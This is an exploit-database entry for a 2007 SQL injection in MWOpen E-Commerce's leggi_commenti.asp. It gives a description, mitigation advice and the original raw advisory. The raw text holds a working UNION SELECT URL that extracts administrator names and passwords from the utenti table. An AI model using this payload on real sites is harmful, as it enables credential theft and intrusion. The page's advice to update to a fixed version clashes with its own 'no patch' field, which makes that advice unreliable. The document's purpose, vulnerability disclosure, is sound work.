MWOpen E-Commerce All Versions "leggi_commenti.asp" SQL Injection

vendor:

MWOpen E-Commerce

by:

KiNgOfThEwOrLd

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: MWOpen E-Commerce

Affected Version From: All versions

Affected Version To: All versions

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2007

MWOpen E-Commerce All Versions “leggi_commenti.asp” SQL Injection

The vulnerability allows an attacker to execute arbitrary SQL commands on the target system by injecting malicious SQL code into the 'id' parameter of the 'leggi_commenti.asp' page. By exploiting this vulnerability, an attacker can retrieve sensitive information from the database, such as passwords.

Mitigation:

The vendor should implement proper input validation and parameterized queries to prevent SQL injection attacks. Users are advised to update to the latest version of MWOpen E-Commerce that addresses this vulnerability.

Source

Exploit-DB raw data:

---------------------------------------------------------------
 ____            __________         __             ____  __   
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_ 
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |  
 |___|___|  /\__|  /______  /\___  >__|            |___||__|  
          \/\______|      \/     \/                         
---------------------------------------------------------------

Http://www.inj3ct-it.org 	     Staff[at]inj3ct-it[dot]org 

---------------------------------------------------------------

MWOpen E-Commerce All Versions "leggi_commenti.asp" SQL Injection

---------------------------------------------------------------

#By KiNgOfThEwOrLd				

---------------------------------------------------------------

PoC:

Nothing to say..

Corrupted Page: 

leggi_commenti.asp

Corrupted Variabile: 

?id=

Exploit:

http://[target]/[mwopen_path]/leggi_commenti.asp?id=9999+union+select+null,
null,password,nome,null,data,null+from+utenti+where+Admin=true

---------------------------------------------------------------

# milw0rm.com [2007-12-06]